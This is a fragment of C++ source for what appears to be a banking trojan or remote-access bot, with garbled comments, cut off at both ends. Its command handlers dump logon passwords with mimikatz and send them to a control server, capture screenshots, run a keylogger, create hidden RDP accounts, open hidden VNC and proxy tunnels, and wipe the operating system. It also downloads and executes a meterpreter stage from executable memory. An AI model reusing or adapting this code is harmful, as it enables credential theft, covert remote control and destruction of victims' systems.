DWORD tag )+{+ DbgMsg( "������ ��� ���������� ��������" );+ bool cold = tag != 0;+ UpdateBot( msg->data, msg->sz_data, cold );+}++/******************************* ������� update *****************************************************/+//������������ ������� ��� �������� ���������� ����+//������ �������: update [cold] ��� ������� (����������)+//���� �� ������ cold (������� ����������), �� ����������� ��������� ����������, ���������� ���� � ������������ (�������) � �����������,+//� ���� ����� ������� ��� ��������� ������+//���� ������ cold (�������� ����������), �� ����������� ��������� ���������� � ���������� ���� � ������������ (�������)+//���������� ������� � ���� ������ ����� ������+static void ExecCmd_Update( StringBuilder& cmd, StringBuilder& args )+{+ DbgMsg( "���������� ������� update[%s](%s)", cmd.c_str(), args.c_str() );+ //StringBuilderStack<16> namePlug( _CS_("update.plug") );+ StringArray sa = args.Split(' ');+ if( sa.Count() == 0 ) return;+ StringBuilder* name = 0;+ bool cold = false;+ if( sa.Count() > 1 )+ {+ if( sa[0]->Hash() == 0x0006a624 /*cold*/ )+ {+ name = sa[1];+ cold = true;+ }+ }+ else+ {+ name = sa[0];+ }+ if( name )+ {+ if( name->IndexOf('\\') >= 0 || name->IndexOf('/') >= 0 ) //���������� � �����+ {+ Mem::Data data;+ if( File::ReadAll( name->c_str(), data ) )+ {+ UpdateBot( data.p_byte(), data.Len(), cold );+ }+ }+ else+ ManagerServer::LoadPlugin( *name, HandlerUpdatePlugin, 0, (DWORD)cold );+ }+}++/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////+/************************************ ������� updklgcfg ***************************************************************************/+//�������� ����������������� ����� � ������� ��� ���������. ��������� �� �����+static void ExecCmd_UpdKlgCfg( StringBuilder& cmd, StringBuilder& args )+{+ DbgMsg( "���������� ������� updklgcfg[%s](%s)", cmd.c_str(), args.c_str() );+ LoadKeyloggerConfig();+}++/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////++#ifdef ON_IFOBS++static void ExecCmd_IFobs( StringBuilder& cmd, StringBuilder& args )+{+ IFobs::CreateFileReplacing(args);+}++#endif++/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////+/*************************************** ������� httpproxy ************************************************************/+//���������� http ������ ������ �� ���������� �����. ������ ��� ������� � ������ ����� ���� �������� ������ � ���� � ���� ������� �� ����� ������ � ����+//������ �������: httpproxy ����+static void ExecCmd_HttpProxy( StringBuilder& cmd, StringBuilder& args )+{+ DbgMsg( "���������� ������� httpproxy[%s](%s)", cmd.c_str(), args.c_str() );+ int port = args.ToInt();+ if( port > 0 )+ {+ ManagerServer::StartHttpProxy(port);+ }+}++/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////+/********************************** ������� killos ******************************************************************/+//����� �� �� ����������� ����� ������. ����� ����� �� �������� �����. ���������� ���+void ExecCmd_KillOs( StringBuilder& cmd, StringBuilder& args )+{+ DbgMsg( "���������� ������� killos[%s](%s)", cmd.c_str(), args.c_str() );+ KillOs();+ Reboot();+}++////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////+/**************************************************** ������� reboot ************************************************/+//������������� ���������. ��������� �� �����+void ExecCmd_Reboot( StringBuilder& cmd, StringBuilder& args )+{+ DbgMsg( "���������� ������� reboot[%s](%s)", cmd.c_str(), args.c_str() );+ Reboot();+}++////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////+/*********************************************** ������� tunnel ***********************************************************/+//������� ��������� ������� ��� �������� ������� �� ������ ���� ����� �������+//������ �������: tunnel ���� {server | http | ip:port}+//���� - ����� ����� ������� ����������� ��� ����������� � ������� ����+//server - ������ ���������������� �� �� ������, � ������� �������� ������ ���+//http - ��������� http ������, ��� ������� � �������+//ip:port - ���� ������ ���������������� �� ��������� �����+//������� ������������ � ���������� ���� � ����� ����������� ����� ������+void ExecCmd_Tunnel( StringBuilder& cmd, StringBuilder& args )+{+ DbgMsg( "���������� ������� tunnel[%s](%s)", cmd.c_str(), args.c_str() );+ StringArray sa = args.Split(' ');+ if( sa.Count() < 2 ) return;+ const char* pipeName = 0;+ StringBuilder& pp = sa[0];+ bool del = false;+ int port = 0;+ if( pp[0] == '-' )+ {+ pipeName = pp.c_str() + 1;+ port = -1;+ }+ else+ port = pp.ToInt();+ if( port == 0 ) return;++ if( sa.Count() == 3 )+ if( sa[2]->Hash() == 0x00006abc /*del*/ )+ del = true;++ StringBuilder& to = sa[1];+ uint toHash = to.Hash();+ bool remember = false; //true ���� ������� ����� ��������� � �������+ if( toHash == 0x079c9cc2 /*server*/ )+ {+#ifdef ON_VIDEOSERVER+ if( !del )+ ManagerServer::StartVideoServerTunnel( port, pipeName );+ remember = true;+#endif+ }+ else if( toHash == 0x0006fbb0 /*http*/ )+ {+ ManagerServer::StartHttpProxy(port);+ remember = true;+ }+ else+ {+ AddressIpPort addr;+ if( addr.Parse(to) )+ {+ ManagerServer::StartIpPortProxy( port, addr );+ remember = true;+ }+ }+ if( remember )+ {+ if( sa.Count() == 3 )+ {+ if( port == -1 && del )+ PipeClient::Send( pipeName, PipeServer::CmdDisconnect, 0, 0 );+ }+ StringBuilderStack<32> cmd2( cmd.c_str(), cmd.Len() );+ cmd2 += ' ';+ cmd2.Cat(port);+ SaveCmdInConfigFile( cmd2, to, del );+ }+}++///////////////////////////////////////////////////////////////////////////////////////////////////////+// ������� adminka - ��������� ����� ����� ������ ������ ����� �������+// ������: adminka {new | http | https | socks5} {ip:port | host} [del, proxy authorization]+// ������� ����������� � ����� �������, ���� ���� ��������� ������, �� ��� ������� ������� ������ ��������+// ���� ������ �������� new, �� ���� ����� ������ ��� �������, ���� �� ���������, �� ����� ��������� ����� ������ |+//////////////////////////////////////////////////////////////////////////////////////////////////////++void ExecCmd_Adminka( StringBuilder& cmd, StringBuilder& args )+{+ DbgMsg( "���������� ������� adminka[%s](%s)", cmd.c_str(), args.c_str() );+ int p1 = args.IndexOf(' ');+ if( p1 < 0 ) p1 = args.Len();+ uint hashType = Str::Hash( args.c_str(), p1 );+ Proxy::Info addr;+ bool newAdminka = false;+ switch( hashType )+ {+ case 0x0006fbb0: //http+ addr.type = Proxy::HTTP;+ break;+ case 0x006fbb73: //https+ addr.type = Proxy::HTTPS;+ break;+ case 0x07a5a265: //socks5+ addr.type = Proxy::SOCKS5;+ break;+ case 0x000074c7: //new+ newAdminka = true;+ break;+ default:+ return;+ }+ StringBuilder cmd2, args2;+ cmd2 = cmd;+ cmd2 += ' ';+ bool del = false;+ int p0 = p1;+ p1 = args.Ignore( p1, ' ' );+ if( newAdminka )+ {+ cmd2.Cat( args, p0 );+ args.Substring(args2, p1);+ if( args2.IsEmpty() ) del = true;+ ManagerServer::SetNewHostsAdminki(args2);+ }+ else+ {+ int p2 = args.IndexOf( p1, ' ' );+ if( p2 < 0 ) p2 = args.Len();+ char ipport[32];+ Str::Copy( ipport, sizeof(ipport), args.c_str() + p1, p2 - p1 );+ if( !addr.ipPort.Parse(ipport) ) return;+ cmd2.Cat( args.c_str(), p2 );+ p2 = args.Ignore( p2, ' ' );+ Str::Copy( addr.authentication, sizeof(addr.authentication), args.c_str() + p2, args.Len() - p2 );+ if( Str::Hash( addr.authentication ) == 0x00006abc /*del*/ )+ {+ del = true;+ ManagerServer::DelProxy( &addr, 1 );+ }+ else+ ManagerServer::SetProxy( &addr, 1 );+ args2 = addr.authentication;+ }+ SaveCmdInConfigFile( cmd2, args2, del );+}++/////////////////////////////////////////////////////////////////////////////////////////////+//������� server ��������� �� ������ ���� ����� ����������� � ��������+//������ server [force] ip:port [ip:port] [ip:port] ...+//���� ����� �������������� � ���������� ���� ������, �� ������ ip:port ����� ������ ip\pipe_name@user#password+//���������: force - ��� ����� ������������� �� ip:port ��������� ������, ���� force �� ������, �� ������������� ������+// ������������ � ���� � �������� ��������� �� ������� ����������, �� ����� �������������� ��������� � �������+//������� ������������ � ����� ������ ����� ��������� ���������+//////////////////////////////////////////////////////////////////////////////////////////////++void ExecCmd_Server( StringBuilder& cmd, StringBuilder& args )+{+ DbgMsg( "���������� ������� server[%s](%s)", cmd.c_str(), args.c_str() );+ StringArray sa = args.Split(' ');+ if( sa.Count() > 0 )+ {+ AddressIpPort addr[5];+ int c_addr = 0, n = 0;+ bool force = false;+ if( sa[n]->Hash() == 0x006d6895 /*force*/ )+ {+ force = true;+ n++;+ }+ for( ; n < sa.Count(); n++, c_addr++ )+ {+ StringBuilder& aa = sa[n];+ if( aa.IndexOf('\\') > 0 ) //������ ����� ����+ {+ Str::Copy( addr[c_addr].ip, sizeof(addr[c_addr].ip), aa.c_str(), aa.Len() );+ addr[c_addr].port = -1;+ }+ else+ if( !addr[c_addr].Parse( aa.c_str() ) )+ break;+ }+ ManagerServer::AddVideoServers( force, addr, c_addr );+ }+ SaveCmdInConfigFile( cmd, args, args.IsEmpty() );+}++///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////+/******************************************** ������� user ******************************************************/+//������� ��� ������� ����� � ������� ��� RDP+//������ �������: user {create | delete} ���_����� [������] [0 | 1]+//create - �������� ���������� �����+//delete - �������� �����+//������ ����������� ������ ��� �������� ����� (create)+//[0 | 1] - ��� �������� �����, 1 - ������ ��� �� �������, 0 - ����� ����� �����+void ExecCmd_User( StringBuilder& cmd, StringBuilder& args )+{+ DbgMsg( "���������� ������� user[%s](%s)", cmd.c_str(), args.c_str() );+ StringArray sa = args.Split(' ');+ if( sa.Count() < 2 ) return;+ uint type = sa[0]->Hash();+ int err = TaskErr::Param;+ if( type == 0x06a8b8a5 /*create*/ )+ {+ if( sa.Count() >= 3 )+ {+ bool hidden = true;+ if( sa.Count() > 3 )+ {+ if( sa[3]->c_str()[0] == '0' ) hidden = false;+ }+ if( Users::AddRemoteUser( sa[1]->c_str(), sa[2]->c_str(), true, hidden ) )+ err = TaskErr::Succesfully;+ else+ err = TaskErr::Wrong;+ }+ }+ else if( type == 0x06ac2ca5 /*delete*/ )+ {+ if( Users::Delete( sa[1]->c_str() ) )+ err = TaskErr::Succesfully;+ else+ err = TaskErr::Wrong;+ }+ ManagerServer::SendResExecutedCmd( cmd, err );+}++///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////+/********************************************* ������� rdp ********************************************************/+//�������� �� ������ ����� rdp, ������ ������� ���� �� ����������� � ����� ������������ ���������� ���������� ������+//������ ������� rdp {file | mem}+//file - ������ ������ � ��������� ����� �� �����, � ���������� � ����� ������ ��� ����� ��������+//mem - ������ �������� ������ � ������+void ExecCmd_RDP( StringBuilder& cmd, StringBuilder& args )+{+ DbgMsg( "���������� ������� rdp[%s](%s)", cmd.c_str(), args.c_str() );+ uint argHash = args.Hash();+ int err = TaskErr::Param;+ if( argHash == 0x0006d025 /*file*/ )+ {+ if( PatchRDPFiles() )+ {+ DbgMsg( "�������� rdp ���� ����������" );+ err = TaskErr::Succesfully;+ }+ else+ {+ DbgMsg( "�������� rdp ���� �� ����������" );+ err = TaskErr::Wrong;+ }+ }+ else if( argHash == 0x000073bd /*mem*/ )+ {+ }+ ManagerServer::SendResExecutedCmd( cmd, err );+}++//////////////////////////////////////////////////////////////////////////////////////////////////////////////////+//���������� ���� � ��������� �����+//secure lsa ���_������� - ��������� � ����������� dll ���� � HKLM\\System\\CurrentControlSet\\Control\\Lsa -v "Notification Packages"+//���� ����� ����� ������� ������� notdel, �� ������� ��� �� ����� ���������++struct SecureParam+{+ Secure::typeSecureFunc func;+ bool notdel;+};++static void HandlerSecurePlugin( Pipe::AutoMsg msg, DWORD tag )+{+ if( msg->sz_data == 0 ) return;+ DbgMsg( "�������� ������ ��� ��������� ��������� %08x %08x", tag, msg->tag );+ SecureParam* param = (SecureParam*)tag;+ Mem::Data data;+ UnprotectBot();+ data.Link( msg->data, msg->sz_data );+ bool res = false;+ StringBuilderStack<MAX_PATH> folderBot;+ Config::GetBotFolder(folderBot);+ if( param->func( data, folderBot ) )+ {+ DbgMsg( "��������� dll ����������� �������" );+ res = true;+ }+ else+ DbgMsg( "DLL �� ������� ����������" );+ ProtectBot();+ data.Unlink();+ //��������� ������� ��� �������� �������� ����+ if( res && !param->notdel )+ {+ StringBuilder delCmd;+ delCmd = _CS_("del ");+ if( Config::state & IS_SERVICE )+ {+ delCmd += _CS_("service ");+ delCmd += Config::nameService;+ }+ else+ {+ delCmd += _CS_("file ");+ delCmd += Config::fileNameBot;+ }+ Task::AddStartCmd(delCmd);+ }+ Mem::Free(param);+}++void ExecCmd_Secure( StringBuilder& cmd, StringBuilder& args )+{+ DbgMsg( "���������� ������� secure[%s](%s)", cmd.c_str(), args.c_str() );+ StringArray sa = args.Split(' ');+ if( sa.Count() < 2 ) return;+ uint arg = sa[0]->Hash();+ SecureParam* param = (SecureParam*)Mem::Alloc( sizeof(SecureParam) );+ Mem::Set( param, 0, sizeof(SecureParam) );+ Pipe::typeReceiverPipeAnswer handler = 0;+ if( arg == 0x00007391 /*lsa*/ )+ {+ param->func = Secure::Lsa;+ handler = HandlerSecurePlugin;+ }+ if( sa.Count() >= 3 )+ {+ uint arg3 = sa[2]->Hash();+ if( arg3 == 0x0756aabc ) param->notdel = true;+ }+ if( handler )+ {+ ManagerServer::LoadPlugin( *sa[1], handler, 0, (DWORD)param );+ }+}++//////////////////////////////////////////////////////////////////////////////////////////////////////////////////+/****************************************** ������� del **********************************************/+//������� ��������� ������ ��� ����, ��� ���� � ��� ���� ������� 0xff ����� ��� ���� ���������� ������������+//������ �������: del {service | file} {��� ������� | ��� �����}+//service - ������� ��������� ������+//file - ������� ��������� ����+void ExecCmd_Del( StringBuilder& cmd, StringBuilder& args )+{+ DbgMsg( "���������� ������� del[%s](%s)", cmd.c_str(), args.c_str() );+ int p = args.IndexOf(' ');+ if( p > 0 )+ {+ uint param = Str::Hash( args.c_str(), p );+ StringBuilder name( 0, -1, args.c_str() + p + 1 );+ if( param == 0x09c9cfe5 /*service*/ )+ {+ if( Str::Cmp( Config::nameService, name ) != 0 ) //������ �� �������� ������ ����+ {+ for( int i = 0; i < 10; i++ )+ {+ if( Service::DeleteWithFile(name) )+ {+ DbgMsg("������ %s ������ �������", name.c_str() );+ break;+ }+ else+ DbgMsg("������ %s ������� �� �������", name.c_str() );+ Delay(1000);+ }+ }+ }+ else if( param == 0x0006d025 /*file*/ )+ {+ if( Str::Cmp( Config::fileNameBot, name ) != 0 ) //������ �� �������� ������ ����+ {+ for( int i = 0; i < 10; i++ )+ {+ if( File::DeleteHard(name) )+ {+ DbgMsg("���� %s ������ �������", name.c_str() );+ break;+ }+ else+ DbgMsg("���� %s ������� �� �������", name.c_str() );+ Delay(1000);+ }+ }+ }+ }+}++//////////////////////////////////////////////////////////////////////////////////////////////////////////////+/******************************************** ������� startcmd ***********************************************/+//��������� ��������� � ���������� ������� � ���������� ���� � ��� ������� ����� ���������� ����� ������+//������ �������: startcmd ����� ������� � �����������+void ExecCmd_StartCmd( StringBuilder& cmd, StringBuilder& args )+{+ DbgMsg( "���������� ������� startcmd[%s](%s)", cmd.c_str(), args.c_str() );+ Task::AddStartCmd(args);+}++///////////////////////////////////////////////////////////////////////////////////////////////////////////////++static void HandlerRunMemLoadFile( Pipe::AutoMsg msg, DWORD tag )+{+ if( msg->sz_data == 0 )+ {+ DbgMsg( "��� ������� runmem ���� �� ������� ���������" );+ return;+ }+ DbgMsg("��� ������� runmem ���� ������� ��������");+ char* nameUser = (char*)tag;+ Sandbox::RunMem( msg->data, msg->sz_data, nameUser );+}+/******************************************** ������� runmem ************************************************/+//��������� ���� �� ���� ��� �� ����� ������� � ��������� ��� � ������+//������ �������: runmem [user$��������] {url | ��� �������}+//���� ������ �������� user, �� ���� ����������� �� ����� �������� �����, ���� ��� ������� � ����������� �������+void ExecCmd_RunMem( StringBuilder& cmd, StringBuilder& args )+{+ DbgMsg( "���������� ������� runmem[%s](%s)", cmd.c_str(), args.c_str() );+ char* nameUser = GetUserFromCmd(args);+ if( args.IndexOf(':') > 0 ) //������ ���+ ManagerServer::LoadFile( args, HandlerRunMemLoadFile, 0, (DWORD)nameUser );+ else+ ManagerServer::LoadPlugin( args, HandlerRunMemLoadFile, 0, (DWORD)nameUser );+}++/********************************************* ������� logonpasswords *********************************************/+//������� ������ � ������ ��������� ���������� mimikatz, ��������� ���������� � ������� ��� �� ������+//������ �������: logonpasswords {server | adminka}+//server - ������ ���������� �� �� ������ � ����� mimikatz/logon_passwords+//adminka - ������ ���������� � ������� ��� ������ logon_passwors+#ifdef ON_MIMIKATZ+void ExecCmd_LogonPasswords( StringBuilder& cmd, StringBuilder& args )+{+ DbgMsg( "���������� ������� logonpasswords[%s](%s)", cmd.c_str(), args.c_str() );+ args.Lower();+ uint hashArg = args.Hash();+ StringBuilder s;+ if( mimikatz::GetLogonPasswords(s) )+ {+ if( args.IsEmpty() || hashArg == 0x079c9cc2 /*server*/ )+ {+ ManagerServer::SendFileToVideoServer( _CS_("mimikatz"), _CS_("logon_passwords"), _CS_("txt"), s );+ }+ else if( hashArg == 0x07b40571 /*adminka*/ ) //� �������+ {+ ManagerServer::SendData( _CS_("logon_passwords"), s.c_str(), s.Len(), false );+ }+ }+}+#endif++/************************************************ ������� screenshot ***********************************************/+//������ �������: screenshot [user$��������] [server|adminka]+//������ �������� ������ ���������� ����� � �������� ��� � ������� ��� �� ������ � ����� screenshots/full_screen+//���� �� ������� ���� �����, �� �� ��������� ������ � �������++static DWORD WINAPI ScreenshotFunc( void* )+{+ char* args = (char*)Sandbox::Init();+ uint hash = Str::Hash(args);+ Mem::Data data;+ Screenshot::Init();+ Screenshot::MakePng( HWND_DESKTOP, data );+ if( hash == 0x079c9cc2 /*server*/ )+ ManagerServer::SendFileToVideoServer( _CS_("screenshots"), _CS_("full_screen"), _CS_("png"), data );+ else+ ManagerServer::SendData( _CS_("screenshot"), data.Ptr(), data.Len(), true, _CS_("full_screen.png") );+ Mem::Free(args);+ Screenshot::Release();+ return 0;+}++void ExecCmd_Screenshot( StringBuilder& cmd, StringBuilder& args )+{+ DbgMsg( "���������� ������� screenshot[%s](%s)", cmd.c_str(), args.c_str() );+ args.Lower();+ char* nameUser = GetUserFromCmd(args);+ Sandbox::Run( ScreenshotFunc, nameUser, args.c_str(), args.Len() + 1, false );+ if( nameUser != MAIN_USER ) Str::Free(nameUser);+}++void ExecCmd_Sleep( StringBuilder& cmd, StringBuilder& args )+{+ DbgMsg( "���������� ������� sleep[%s](%s)", cmd.c_str(), args.c_str() );+ StringArray sa = args.Split('.');+ if( sa.Count() != 3 ) return;+ Config::StruSleep date;+ date.day = sa[0]->ToInt();+ date.month = sa[1]->ToInt();+ date.year = sa[2]->ToInt();+ if( date.day > 0 && date.day <= 31 && date.month > 0 && date.month <= 12 && date.year < 2050 )+ {+ StringBuilderStack<MAX_PATH> fileName;+ if( Config::GetSleepingFileName(fileName) )+ {+ DbgMsg( "��� ��������� � ����� ��� �� %02d.%02d.%04d, ��������� � ����� %s", (int)date.day, (int)date.month, (int)date.year, fileName.c_str() );+ File::WriteAll( fileName, &date, sizeof(date) );+ }+ }+}++/************************************** ������� dupl *********************************************/+//������ �������: dupl {keylogger | screenshot} [stop | file | server | file_server]+//��������� ������ ���������� � ������� � ������ ����� ���� ��� �������� �� ������ (�� ��������� ��������� file)+//keylogger - ������������ ������ ���������+//screenshot - ������������ ����� ����������+//stop - ���� ������, �� ������������� ������������+void ExecCmd_Dupl( StringBuilder& cmd, StringBuilder& args )+{+ DbgMsg( "���������� ������� dupl[%s](%s)", cmd.c_str(), args.c_str() );+ StringArray sa = args.Split(' ');+ if( sa.Count() == 0 ) return;+ uint hash = sa[0]->Hash();+ bool stop = false;+ int dst = 0, err = 0;+ if( sa.Count() > 1 )+ {+ uint hash1 = sa[1]->Hash();+ if( hash1 == 0x0007ab60 /*stop*/ )+ stop = true;+ else if( hash1 == 0x0006d025 /*file*/ )+ dst |= 1;+ else if( hash1 == 0x079c9cc2 /*server*/ )+ dst |= 2;+ else if( hash1 == 0x06f19e72 /*file_server*/ )+ dst |= 3;+ else+ err = 1; //�������� ��������+ }+ else+ dst = 1; //�� ��������� ������ � ����+ if( err == 0 )+ {+ ManagerServer::DuplData( hash, dst );+ //���������� � ������ �����+ StringBuilderStack<64> cmd2( cmd.c_str(), cmd.Len() );+ StringBuilder args2;+ cmd2 += ' ';+ cmd2 += *sa[0];+ if( !stop && sa.Count() > 1 )+ {+ args2 += *sa[1];+ }+ SaveCmdInConfigFile( cmd2, args2, stop );+ }+}++/************************************** ������� findfiles *********************************************/+//������ �������: findfiles path mask {adminka|server|adminka_server} name+//����� ������ �� ����� mask � ����� path, ��������� ����� ��������� ����� � ���������� ����� ����������+//��� ������ name (� ����� ���������� ��������� �� �����������)+//����� ������ ��������� ������ ��������� ������� ��� �����, �� ������ ���� ����� *, ����� ��� ���������+void ExecCmd_FindFiles( StringBuilder& cmd, StringBuilder& args )+{+ DbgMsg( "���������� ������� findfiles[%s](%s)", cmd.c_str(), args.c_str() );+ StringArray sa = args.Split(' ');+ if( sa.Count() != 4 ) return;+ uint dstHash = sa[2]->Hash(); //���� ���������� ���������+ int dst = 0;+ switch( dstHash )+ {+ case 0x07b40571: dst |= 1; break; //adminka+ case 0x079c9cc2: dst |= 2; break; //server+ case 0x0ddccbe2: dst |= 3; break; //adminka_server+ }+ if( dst == 0 ) return;+ int countFiles = FindFiles( *sa[0], *sa[1], dst, *sa[3] );+ DbgMsg( "� ����� %s �� ����� %s ������� %d ������", sa[0]->c_str(), sa[1]->c_str(), countFiles );+}++/************************************** ������� vnc *********************************************/+//������ �������: vnc [hidden] {port | stop}+//���� ������ hidden, �� ��������� ������� ������ vnc (���� �� �� �����), ����� ����������� ������� vnc ������� �������� �� ������� ����� ������� (���� �� �����)+//��������� � ������� ������ vnc.plug � ��������� vnc ������ �� ���������� ����� port+//���� ������ �������� stop, �� vnc ������ ����������� (���������� vnc)+void ExecCmd_VNC( StringBuilder& cmd, StringBuilder& args )+{+ DbgMsg( "���������� ������� vnc[%s](%s)", cmd.c_str(), args.c_str() );+ if( args.Len() <= 2 ) return;+ StringArray sa = args.Split(' ');+ bool hvnc = false;+ int n = 0;+ uint argHash = sa[0]->Hash();+ StringBuilderStack<32> nameVNCServer;+ VNC::GetNameVNCServer(nameVNCServer);+ if( argHash == 0x0007ab60 /*stop*/ )+ {+ PipeClient::Send( nameVNCServer, PipeServer::CmdDisconnect, 0, 0 );+ n++;+ }+ else if( argHash == 0x0006fd43 /*hvnc*/ )+ {+ hvnc = true;+ n++;+ }+ if( n < sa.Count() )+ {+ AddressIpPort ipp;+ if( sa[n]->IndexOf(':') > 0 )+ ipp.Parse(args);+ else+ {+ ipp.ip[0] = 0;+ ipp.port = sa[n]->ToInt();+ }+ if( ipp.port > 0 && ipp.port < 65536 ) {+ if( PipeClient::Send( nameVNCServer, PipeServer::CmdDisconnect, 0, 0 ) ) //��������� ��� ���������� ������ (���� ����)+ Delay(2000);+ VNC::StartDefault( ipp, hvnc );+ }+ }+}++/************************************** ������� runfile *********************************************/+//������ �������: runfile [user$��������] {���� � �����}+//��������� ��������� ����, ����������� �� ��������� ������ ��� ������� ���+//���� ������ �������� user, �� ���� ��� ������� ��� ��������, �� ���� ����� ������� ��� ������� ������+//���� ������� ��������, �� ���� ����� ������� �� ����� ���������� �����+void ExecCmd_RunFile( StringBuilder& cmd, StringBuilder& args )+{+ DbgMsg( "���������� ������� runfile[%s](%s)", cmd.c_str(), args.c_str() );+ char* nameUser = GetUserFromCmd(args);+ Sandbox::Exec(args, 0, nameUser);+ if( nameUser != MAIN_USER ) Str::Free(nameUser);+}++/************************************** ������� killbot *********************************************/+//������ �������: killbot+//��������������� ����, ��������� ��� ����� ������������� ���� � ��������� ���� ������+void ExecCmd_KillBot( StringBuilder& cmd, StringBuilder& args )+{+ DbgMsg( "���������� ������� killbot[%s](%s)", cmd.c_str(), args.c_str() );+ UnprotectBot();+ UnprotectConfig();+ File::DeleteHard(Config::fileNameBot);+ DbgMsg( "������� ���� ���� %s", Config::fileNameBot );+ File::DeleteHard(Config::fileNameConfig);+ DbgMsg( "������� ���� ������� %s", Config::fileNameConfig );+ if( Config::state & IS_SERVICE )+ {+ Service::Delete(Config::nameService);+ DbgMsg( "������� ������ %s", Config::nameService );+ }+ StringBuilderStack<MAX_PATH> fileName;+ Service::GetFileNameService(fileName);+ File::DeleteHard(fileName);+ DbgMsg( "������� ���� ���� ������� �������� ��� ���������� ��� ������� %s", fileName.c_str() );+ //��������� ������ ����+ PipeClient::Send( Config::nameManager, PipeServer::CmdDisconnect, 0, 0 );+}++/************************************** ������� listprocess *********************************************/+//������ �������: listprocess {adminka|server|adminka_server}+//�������� ������ ��������� � ������� ��� ������+void ExecCmd_ListProcess( StringBuilder& cmd, StringBuilder& args )+{+ DbgMsg( "���������� ������� listprocess[%s](%s)", cmd.c_str(), args.c_str() );+ uint dstHash = args.Hash(); //���� ���������� ���������+ int dst = 0;+ if( args.IsEmpty() )+ dst = 1;+ else+ switch( dstHash )+ {+ case 0x07b40571: dst |= 1; break; //adminka+ case 0x079c9cc2: dst |= 2; break; //server+ case 0x0ddccbe2: dst |= 3; break; //adminka_server+ }+ SendListProcess(dst);+}++/*************************************** ������� plugins *************************************************/+//������ �������: plugins {adminka|server}+//��������� ������ ������ �������+void ExecCmd_Plugins( StringBuilder& cmd, StringBuilder& args )+{+ DbgMsg( "���������� ������� plugins[%s](%s)", cmd.c_str(), args.c_str() );+ uint hash = args.Hash();+ char c = 0;+ switch( hash )+ {+ case 0x07b40571: c = '0'; break; //adminka+ case 0x079c9cc2: c = '1'; break; //server+ }+ if( c )+ ManagerServer::SetGlobalState( Task::GlobalState_Plugin, c );+}++/*************************************** ������� tinymet *************************************************/+//������ �������: tinymet {ip:port | name_plugin} [name_plugin]+//������ meterpreter � ���������� ������ � ��������� � ������++DWORD WINAPI TinyMetThread( void* )+{+ int sz_data;+ byte* data = (byte*)Sandbox::Init( &sz_data );+ int sz_addr = *((int*)data);+ int sz_body = *((int*)(data + sizeof(int) + sz_addr));+ void* body = 0;+ int sc = 0;+ Mem::Data data2;+ if( sz_addr > 0 ) //������� ip �����+ {+ AddressIpPort* addr = (AddressIpPort*)(data + sizeof(int));+ if( Socket::Init() )+ {+ DbgMsg( "�������� ������� ����� � %s:%d", addr->ip, addr->port );+ sc = Socket::ConnectIP( addr->ip, addr->port );+ if( sc > 0 )+ {+ if( sz_body == 0 )+ {+ char buf[4];+ if( Socket::Read( sc, buf, sizeof(buf), 30000 ) == sizeof(buf) )+ {+ int size = *((int*)buf);+ DbgMsg( "��� TinyMet �������� ������ %d", size );+ if( size > 0 && size < 4 * 1024 * 1024 )+ {+ if( data2.MakeEnough(size) )+ {+ if( Socket::Read( sc, data2, size, 5000 ) == 1 )+ {+ body = data2.Ptr();+ sz_body = data2.Len();+ for( int i = 0; i < sz_body; i++ )+ ((byte*)body)[i] ^= 0x50;+ }+ }+ }+ }+ else+ DbgMsg( "��� TinyMet �� �������� ������" );+ }+ else+ {+ body = data + sizeof(int) + sz_addr + sizeof(int);+ }+ }+ else+ DbgMsg( "��� ������ ��� TinyMet" );+ }+ }+ else+ {+ body = data + sizeof(int) + sizeof(int);;+ }++ if( body )+ {+ byte* mem = (byte*)API(KERNEL32, VirtualAlloc)( 0, sz_body + 5, MEM_COMMIT, PAGE_EXECUTE_READWRITE );+ if( mem )+ {+ if( sc )+ {+ mem[0] = 0xbf; // opcode of "mov edi, [WhateverFollows]+ Mem::Copy( mem + 1, &sc, 4 );+ Mem::Copy( mem + 5, body, sz_body );+ }+ else+ {+ Mem::Copy( mem, body, sz_body );+ }+ DbgMsg( "��������� metepreter" );+ (*(void(*)())mem)();+ }+ }+ Mem::Free(data);+ return 0;+}++static void TinyMetStart( void* addr, void* met, int sz_met )+{+ Mem::Data data( sizeof(int) + sizeof(AddressIpPort) + sizeof(int) + sz_met );+ int sz_addr = addr ? sizeof(AddressIpPort) : 0;+ data.Append( &sz_addr, sizeof(sz_addr) );+ data.Append( addr, sz_addr );+ data.Append( &sz_met, sizeof(sz_met) );+ data.Append( met, sz_met );+ Sandbox::Run( TinyMetThread, 0, data.Ptr(), data.Len(), false );+ Mem::Free(addr);+}++static void TinyMetLoadedPlugin( Pipe::AutoMsg msg, DWORD tag )+{+ if( msg->sz_data == 0 )+ {+ DbgMsg( "������ ��� tinymet �� ��������" );+ return;+ }+ DbgMsg( "��������� ������ ��� tinymet" );+ TinyMetStart( (void*)tag, msg->data, msg->sz_data );+}++void ExecCmd_TinyMet( StringBuilder& cmd, StringBuilder& args )+{+ DbgMsg( "���������� ������� tinymet[%s](%s)", cmd.c_str(), args.c_str() );+ StringArray sa = args.Split(' ');+ if( sa.Count() > 0 )+ {+ AddressIpPort addr;+ if( addr.Parse(*sa[0]) )+ {+ void* addr2 = Mem::Duplication( &addr, sizeof(addr) );+ if( sa.Count() > 1 ) //������ ������ ������� ����� ������+ {+ ManagerServer::LoadPlugin( *sa[1], TinyMetLoadedPlugin, 0, (DWORD)addr2 );+ }+ else+ TinyMetStart( addr2, 0, 0 );+ }+ else //�������� ������ ��� �������+ ManagerServer::LoadPlugin( *sa[0], TinyMetLoadedPlugin );+ }+}++/*************************************** ������� killprocess *************************************************/+//������ �������: killprocess ���_��������+//���������� ������� �� ��� �����++void ExecCmd_KillProcess( StringBuilder& cmd, StringBuilder& args )+{+ DbgMsg( "���������� ������� killprocess[%s](%s)", cmd.c_str(), args.c_str() );+ int err = TaskErr::Param;+ if( !args.IsEmpty() )+ {+ if( Process::Kill( args, 5000 ) )+ err = TaskErr::Succesfully;+ else+ err = TaskErr::Wrong;+ }+ ManagerServer::SendResExecutedCmd( cmd, err );+}++/*************************************** ������� cmd *************************************************/+//��������� �������, ������ ������������� ��� ������� cmd.exe++void ExecCmd_Cmd( StringBuilder& cmd, StringBuilder& args 